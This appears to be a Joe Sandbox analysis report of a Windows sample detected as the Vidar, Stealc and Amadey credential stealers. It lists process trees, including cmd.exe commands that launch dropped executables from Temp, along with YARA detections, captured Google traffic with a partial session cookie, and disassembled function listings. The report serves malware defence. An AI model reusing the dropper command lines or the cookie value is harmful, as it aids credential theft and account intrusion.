Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=515=mtxo_zP3sH8R_qyQwVboSInCPQjNdUJbievu2a8kVqUP6XoYc9Pd58n_TO2-mqxTqQ2xW28nSDzJmqS5RLhW9pfvl6nlns3EKI2YBxKDeQ-6ykuR56XNhioUqjEJMaVjGVqiMuULoZPpqvGyd8kf1kJfehmvWo_476AbTUDgDd8
2024-07-04 20:21:54 UTC	1110	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 32 32 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 30 31 32 34 35 31 32 38 36 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"22",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1720124512860",null,null,null
2024-07-04 20:21:54 UTC	523	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 04 Jul 2024 20:21:54 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-07-04 20:21:54 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-04 20:21:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	16:19:53
Start date:	04/07/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7b0000
File size:	2'533'376 bytes
MD5 hash:	DE1D8C161D81BA79C888FEF77C75DB93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2449562218.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.2449562218.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2450878675.0000000001AE5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2449562218.0000000000856000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:20:38
Start date:	04/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:20:38
Start date:	04/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:20:38
Start date:	04/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\DAFHIDGIJK.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:20:38
Start date:	04/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	16:20:38
Start date:	04/07/2024
Path:	C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe"
Imagebase:	0x370000
File size:	1'906'688 bytes
MD5 hash:	32990CFA629B89533FB2A04AE8E966C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.2463090610.00000000049D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.2503437125.0000000000371000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	16:20:41
Start date:	04/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Imagebase:	0x640000
File size:	1'906'688 bytes
MD5 hash:	32990CFA629B89533FB2A04AE8E966C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000003.2491110423.0000000004E20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000002.2531523803.0000000000641000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	16:20:42
Start date:	04/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x640000
File size:	1'906'688 bytes
MD5 hash:	32990CFA629B89533FB2A04AE8E966C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000002.2536047263.0000000000641000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000003.2495081397.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	16:21:00
Start date:	04/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x640000
File size:	1'906'688 bytes
MD5 hash:	32990CFA629B89533FB2A04AE8E966C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000D.00000002.3240531583.0000000000641000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000D.00000003.2675197163.0000000004C30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	16:21:06
Start date:	04/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe"
Imagebase:	0x720000
File size:	2'533'376 bytes
MD5 hash:	DE1D8C161D81BA79C888FEF77C75DB93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000002.3055852446.00000000018F5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000E.00000002.3054902462.0000000000721000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 0000000E.00000002.3054902462.0000000000721000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	16:21:09
Start date:	04/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe"
Imagebase:	0x6a0000
File size:	1'166'336 bytes
MD5 hash:	86738DD73219B83320BA19AF11C97E11
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	16:21:10
Start date:	04/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	16:21:10
Start date:	04/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=1920,i,10516001789053394369,8976321614446210453,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	16:21:20
Start date:	04/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5504 --field-trial-handle=1920,i,10516001789053394369,8976321614446210453,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	16:21:20
Start date:	04/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5536 --field-trial-handle=1920,i,10516001789053394369,8976321614446210453,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C5535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DF688,00001000), ref: 6C5535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C55363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C55369F
__aulldiv.LIBCMT ref: 6C5536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C553773
EnterCriticalSection.KERNEL32(6C5DF688), ref: 6C55377E
LeaveCriticalSection.KERNEL32(6C5DF688), ref: 6C5537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5537C4
EnterCriticalSection.KERNEL32(6C5DF688), ref: 6C5537CB
LeaveCriticalSection.KERNEL32(6C5DF688), ref: 6C553801
__aulldiv.LIBCMT ref: 6C553883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C553902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C553918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C55394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C5535DB
AuthcAMDenti, xrefs: 6C553946
GenuntelineI, xrefs: 6C553639
QPC, xrefs: 6C5538FC
GTC, xrefs: 6C553912

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 871958292b77f364923c983d88280083b9fb58a56f389084ddb19f8df30e2b21
Instruction ID: a93ef31e42cb26ae448a4d91420783a0ae429154102a21c8d56907e9ff09aa01
Opcode Fuzzy Hash: 871958292b77f364923c983d88280083b9fb58a56f389084ddb19f8df30e2b21
Instruction Fuzzy Hash: FBB163B1B053109BDB08DF28CC5461ABBF5EB89704F068A2EF499D7790D770A905CB9D

Function 6C56C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C56C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C56C969
GetSystemInfo.KERNEL32(?), ref: 6C56C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C56C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C56C9E2

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 0f13a17295bbcd4bb79665c70fde5400a180af95482479006267bb8f45aa2db0
Instruction ID: d5afa2e8bb522e41f7c0b45a922135c0540ee258f49ac7a5d8585671188f65e4
Opcode Fuzzy Hash: 0f13a17295bbcd4bb79665c70fde5400a180af95482479006267bb8f45aa2db0
Instruction Fuzzy Hash: 8321C531741718ABDF04BA65CC84BAE72BAEB46704F51051AF943A7B80EB607C4087A9

Function 6C553060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C553095

Part of subcall function 6C5535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DF688,00001000), ref: 6C5535D5
Part of subcall function 6C5535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5535E0
Part of subcall function 6C5535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5535FD
Part of subcall function 6C5535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C55363F
Part of subcall function 6C5535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C55369F
Part of subcall function 6C5535A0: __aulldiv.LIBCMT ref: 6C5536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C55309F

Part of subcall function 6C575B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5756EE,?,00000001), ref: 6C575B85
Part of subcall function 6C575B50: EnterCriticalSection.KERNEL32(6C5DF688,?,?,?,6C5756EE,?,00000001), ref: 6C575B90
Part of subcall function 6C575B50: LeaveCriticalSection.KERNEL32(6C5DF688,?,?,?,6C5756EE,?,00000001), ref: 6C575BD8
Part of subcall function 6C575B50: GetTickCount64.KERNEL32 ref: 6C575BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5530BE

Part of subcall function 6C5530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C553127
Part of subcall function 6C5530F0: __aulldiv.LIBCMT ref: 6C553140

Part of subcall function 6C58AB2A: __onexit.LIBCMT ref: 6C58AB30

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 5bcb50684596fdd65a1b9c7da3404a6c2ad02d10bb6ca34f2c78ca69146255be
Instruction ID: be052708aa1309c9caa744642fca11b8b1d81ce7afa9c7ecfe82e99e5fba3844
Opcode Fuzzy Hash: 5bcb50684596fdd65a1b9c7da3404a6c2ad02d10bb6ca34f2c78ca69146255be
Instruction Fuzzy Hash: 17F0F932D20748D6CB10DF748C411E6B3B4AFAB114F56531AF84963A61FB2076D8C39D

Non-executed Functions

Function 6C565440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C565492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5654BE
__Init_thread_footer.LIBCMT ref: 6C5654DB

Part of subcall function 6C58AB3F: EnterCriticalSection.KERNEL32(6C5DE370,?,?,6C553527,6C5DF6CC,?,?,?,?,?,?,?,?,6C553284), ref: 6C58AB49
Part of subcall function 6C58AB3F: LeaveCriticalSection.KERNEL32(6C5DE370,?,6C553527,6C5DF6CC,?,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C58AB7C

Part of subcall function 6C58CBE8: GetCurrentProcess.KERNEL32(?,6C5531A7), ref: 6C58CBF1
Part of subcall function 6C58CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5531A7), ref: 6C58CBFA

GetCurrentThreadId.KERNEL32 ref: 6C5654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C565516
GetCurrentThreadId.KERNEL32 ref: 6C56556A
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C565577
moz_xmalloc.MOZGLUE(00000070), ref: 6C565585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C565590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5655E6
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C565606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C565616

Part of subcall function 6C58AB89: EnterCriticalSection.KERNEL32(6C5DE370,?,?,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284), ref: 6C58AB94
Part of subcall function 6C58AB89: LeaveCriticalSection.KERNEL32(6C5DE370,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C58ABD1

GetCurrentThreadId.KERNEL32 ref: 6C56563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C565646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C56567C
free.MOZGLUE(?), ref: 6C5656AE

Part of subcall function 6C575E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C575EDB
Part of subcall function 6C575E90: memset.VCRUNTIME140(ew[l,000000E5,?), ref: 6C575F27
Part of subcall function 6C575E90: LeaveCriticalSection.KERNEL32(?), ref: 6C575FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5656E8
GetCurrentThreadId.KERNEL32 ref: 6C565707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C56570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C565729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C56574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C56576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C565796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5657CA

Strings

MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5656E3
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C565724
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5654B9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C565766
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C565749
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C565791
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C565D2B
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C565D24
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C565BBE
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5657C5
GeckoMain, xrefs: 6C565554, 6C5655D5
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C565D01
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C565CF9
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C565AC9
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C565B38
[I %d/%d] profiler_init, xrefs: 6C56564E
MOZ_PROFILER_STARTUP, xrefs: 6C5655E1
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C565C56
MOZ_BASE_PROFILER_HELP, xrefs: 6C565511
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C565D1C
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C565717
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5654A3
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C56548D
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5657AE
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C56584E

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
